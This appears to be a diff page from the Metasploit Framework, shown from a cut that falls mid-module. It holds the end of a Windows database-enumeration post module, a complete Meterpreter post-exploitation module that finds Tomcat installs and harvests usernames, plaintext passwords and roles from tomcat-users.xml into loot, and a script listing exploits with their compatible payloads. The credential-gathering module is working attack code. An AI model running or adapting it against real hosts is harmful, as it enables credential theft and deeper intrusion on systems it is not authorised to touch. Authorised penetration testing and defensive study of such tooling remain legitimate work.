if data =~ /\[#{instance}\]([^\[]*)/
|
||||
segment = $1
|
||||
else
|
||||
print_error("\t\t! couldnt locate information.")
|
||||
return results
|
||||
end
|
||||
|
||||
if segment =~ /master\=\w+\,[^\,]+\,(\d+)/
|
||||
port = $1
|
||||
else
|
||||
print_error("\t\t! couldnt locate information.")
|
||||
return results
|
||||
end
|
||||
|
||||
print_good("\t\t+ #{instance} (Port:#{port})")
|
||||
results << [ "sybase","instance:#{instance} port:#{port}","Sybase SQL Server",port ]
|
||||
return results
|
||||
rescue
|
||||
print_error("\t\t! couldnt locate information.")
|
||||
return results || []
|
||||
end
|
||||
|
||||
# method to identify db2 instances
|
||||
def enumerate_db2
|
||||
results = []
|
||||
cmd_i = cmd_exec("db2cmd", "-i -w /c db2ilist")
|
||||
cmd_p = cmd_exec("db2cmd", "-i -w /c db2 get dbm cfg")
|
||||
if cmd_p =~ /\ ?TCP\/IP\ Service\ name[\ ]+\(SVCENAME\)\ =\ (\w+)/
|
||||
port = $1
|
||||
else
|
||||
print_error("\t\t! could not identify instances information")
|
||||
return results
|
||||
end
|
||||
|
||||
windir = session.fs.file.expand_path("%windir%")
|
||||
getfile = session.fs.file.search(windir + "\\system32\\drivers\\etc\\","services.*",recurse=true,timeout=-1)
|
||||
|
||||
data = nil
|
||||
getfile.each do |file|
|
||||
if exist?("#{file['path']}\\#{file['name']}")
|
||||
data = read_file("#{file['path']}\\#{file['name']}")
|
||||
break if not data.nil?
|
||||
end
|
||||
end
|
||||
|
||||
if data and data =~ /#{port}[\ \t]+(\d+)/
|
||||
port_t = $1
|
||||
else
|
||||
print_error("\t\t! could not identify instances information")
|
||||
return results
|
||||
end
|
||||
|
||||
cmd_i.split("\n").compact.each do |line|
|
||||
stripped=line.strip
|
||||
print_good("\t\t+ #{stripped} (Port:#{port_t})")
|
||||
results << [ "db2","instance:#{stripped} port:#{port_t}","DB2 Server",port_t ]
|
||||
end
|
||||
|
||||
return results
|
||||
|
||||
rescue
|
||||
print_error("\t\t! could not identify instances information")
|
||||
return results || []
|
||||
end
|
||||
|
||||
##### helper methods #####
|
||||
|
||||
def find_mysql_conf(val_location)
|
||||
data = nil
|
||||
if exist?(val_location + "\\my.ini")
|
||||
data = read_file(val_location + "\\my.ini")
|
||||
elsif exist?(val_location + "\\my.cnf")
|
||||
data = read_file(val_location + "\\my.cnf")
|
||||
else
|
||||
sysdriv=session.fs.file.expand_path("%SYSTEMDRIVE%")
|
||||
getfile = session.fs.file.search(sysdriv + "\\","my.ini",recurse=true,timeout=-1)
|
||||
getfile.each do |file|
|
||||
if exist?("#{file['path']}\\#{file['name']}")
|
||||
data = read_file("#{file['path']}\\#{file['name']}")
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
return data
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,241 @@
|
|||
##
|
||||
# ## This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'rex'
|
||||
require 'rexml/document'
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/file'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/windows/registry'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Tomcat Server Enumeration',
|
||||
'Description' => %q{ This module will enumerate a windows system for tomcat servers},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Barry Shteiman <barry[at]sectorix.com>', # Module author
|
||||
],
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
# method called when command run is issued
|
||||
def run
|
||||
|
||||
installs = []
|
||||
results = []
|
||||
users = []
|
||||
print_status("Enumerating Tomcat Servers on #{sysinfo['Computer']}")
|
||||
if check_tomcat
|
||||
installs += identify_registry
|
||||
if not installs.empty?
|
||||
installs.each do |inst|
|
||||
results += enumerate_tomcat(inst[0],inst[1])
|
||||
users += enumerate_tomcat_creds(inst[0])
|
||||
end
|
||||
else
|
||||
print_status("Done, Tomcat Not Found")
|
||||
return
|
||||
end
|
||||
end
|
||||
if results.empty?
|
||||
print_status("Done, Tomcat Not Found")
|
||||
return
|
||||
end
|
||||
print_status("Done, Tomcat Found.")
|
||||
|
||||
tbl_services = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Tomcat Applications ",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Host",
|
||||
"Tomcat Version",
|
||||
"Port",
|
||||
"Web Application"
|
||||
])
|
||||
|
||||
results.each { |r|
|
||||
report_service(:host => session.sock.peerhost, :port => r[2], :name => "http", :info => "#{r[0]} Tomcat #{r[1]}, Application:#{r[3]}")
|
||||
tbl_services << r
|
||||
}
|
||||
|
||||
tbl_users = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Tomcat Server Users ",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Host",
|
||||
"User",
|
||||
"Password",
|
||||
"Roles"
|
||||
])
|
||||
|
||||
users.each { |u|
|
||||
tbl_users << [ session.sock.peerhost,u[0],u[1],u[2] ]
|
||||
}
|
||||
|
||||
print_line()
|
||||
print_line(tbl_services.to_s)
|
||||
print_line(tbl_users.to_s)
|
||||
p = store_loot("host.webservers.tomcat", "text/plain", session, tbl_services.to_s + "\n" + tbl_users.to_s, "tomcat.txt", "Tomcat Server Enum")
|
||||
print_status("Results stored in: #{p}")
|
||||
end
|
||||
|
||||
### initial identification methods ###
|
||||
|
||||
# method for checking if webserver is installed on server - tomcat
|
||||
def check_tomcat
|
||||
key = "HKLM\\SOFTWARE\\Apache Software Foundation"
|
||||
if registry_enumkeys(key).include?("Tomcat")
|
||||
print_status("\tTomcat found.")
|
||||
return true
|
||||
end
|
||||
return false
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
|
||||
### deep server enumeration methods ###
|
||||
|
||||
# enumerate tomcat
|
||||
def enumerate_tomcat(val_installpath,val_version)
|
||||
results = []
|
||||
found = false
|
||||
print_good("\t\t+ Version: #{val_version}")
|
||||
print_good("\t\t+ Path: #{val_installpath}")
|
||||
|
||||
if not exist?(val_installpath + "\\conf\\server.xml")
|
||||
print_error("\t\t! tomcat configuration not found")
|
||||
return results
|
||||
end
|
||||
|
||||
appname = find_application_name(val_installpath)
|
||||
|
||||
ports = []
|
||||
xml_data = read_file(val_installpath + "\\conf\\server.xml")
|
||||
doc = REXML::Document.new(xml_data)
|
||||
doc.elements.each('Server/Service/Connector') do |e|
|
||||
ports << e.attributes['port']
|
||||
end
|
||||
ports.uniq.each do |p|
|
||||
print_good("\t\t+ Port: #{p}")
|
||||
found = true
|
||||
results << [session.sock.peerhost,"#{val_version}",p,appname]
|
||||
end
|
||||
if found
|
||||
print_good("\t\t+ Application: [#{appname}]")
|
||||
else
|
||||
print_error("\t\t! port not found")
|
||||
end
|
||||
return results
|
||||
rescue
|
||||
print_error("\t\t! could not identify information")
|
||||
return results || []
|
||||
end
|
||||
|
||||
# enumerate tomcat users from its user base
|
||||
def enumerate_tomcat_creds(val_installpath)
|
||||
users = []
|
||||
userpath = val_installpath + "\\conf\\tomcat-users.xml"
|
||||
if exist?(userpath)
|
||||
xml_data = read_file(userpath)
|
||||
doc = REXML::Document.new(xml_data)
|
||||
|
||||
if not doc.elements.empty?
|
||||
doc.elements.each('tomcat-users/user') do |e|
|
||||
e_user=e.attributes['name']
|
||||
if e_user.length >0
|
||||
e_user=e.attributes['name']
|
||||
else
|
||||
e.user=e_user=e.attributes['username']
|
||||
end
|
||||
users << [ e_user,e.attributes['password'],e.attributes['roles'] ]
|
||||
print_good("\t\t+ User:[#{e_user}] Pass:[#{e.attributes['password']}] Roles:[#{e.attributes['roles']}]")
|
||||
end
|
||||
else
|
||||
print_error("\t\t! No Users Found")
|
||||
return users
|
||||
end
|
||||
end
|
||||
|
||||
return users
|
||||
rescue
|
||||
print_error("\t\t! could not identify users")
|
||||
return users || []
|
||||
end
|
||||
|
||||
### helper functions ###
|
||||
|
||||
#this method identifies the correct registry path to tomcat details, and returns [path,version]
|
||||
def identify_registry
|
||||
values = []
|
||||
basekey = "HKLM\\SOFTWARE\\Apache Software Foundation\\Tomcat"
|
||||
instances = registry_enumkeys(basekey)
|
||||
if not instances.nil? and not instances.empty?
|
||||
instances.each do |i|
|
||||
major_version_key = "#{basekey}\\#{i}"
|
||||
services = registry_enumkeys(major_version_key)
|
||||
|
||||
if services.empty?
|
||||
val_installpath = registry_getvaldata(major_version_key,"InstallPath")
|
||||
val_version = registry_getvaldata(major_version_key,"Version")
|
||||
values << [val_installpath,val_version]
|
||||
else
|
||||
services.each do |s|
|
||||
service_key = "#{major_version_key}\\#{s}"
|
||||
val_installpath = registry_getvaldata(service_key,"InstallPath")
|
||||
val_version = registry_getvaldata(service_key,"Version")
|
||||
values << [val_installpath,val_version]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return values
|
||||
rescue
|
||||
print_error("\t\t! failed to locate install path")
|
||||
return nil || []
|
||||
end
|
||||
|
||||
#this function extracts the application name from the main page of the web application
|
||||
def find_application_name(val_installpath)
|
||||
index_file = ['index.html','index.htm','index.php','index.jsp','index.asp']
|
||||
path = val_installpath + "\\webapps"
|
||||
if not directory?(path + "\\ROOT")
|
||||
print_error("\t\t! expected directory wasnt found")
|
||||
return "Unknown"
|
||||
end
|
||||
|
||||
index_file.each do |i|
|
||||
if not exist?("#{path}\\ROOT\\#{i}")
|
||||
next
|
||||
end
|
||||
data = read_file(path + "\\ROOT\\#{i}")
|
||||
if data =~ /(?i)<title>([^<]+)<\/title>/
|
||||
return $1
|
||||
else
|
||||
#look for redirect as name
|
||||
if data =~ /(?i)onload=\"?document\.location\=['"]?([\/\w\d]+)['"]?\"?/
|
||||
return $1.gsub("/","")
|
||||
end
|
||||
end
|
||||
end
|
||||
return "Unknown"
|
||||
rescue
|
||||
print_error("\t\t! could not identify application name")
|
||||
return "Unknown"
|
||||
end
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This script lists each exploit module by its compatible payloads
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
|
||||
require 'fastlib'
|
||||
require 'msfenv'
|
||||
|
||||
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
|
||||
|
||||
require 'rex'
|
||||
require 'msf/ui'
|
||||
require 'msf/base'
|
||||
|
||||
# Initialize the simplified framework instance.
|
||||
$framework = Msf::Simple::Framework.create('DisableDatabase' => true)
|
||||
|
||||
$framework.exploits.each_module { |name, mod|
|
||||
x = mod.new
|
||||
|
||||
x.compatible_payloads.map{|n, m|
|
||||
puts "#{x.refname.ljust 40} - #{n}"
|
||||
}
|
||||
}
|
||||
|
Loading…
Reference in New Issue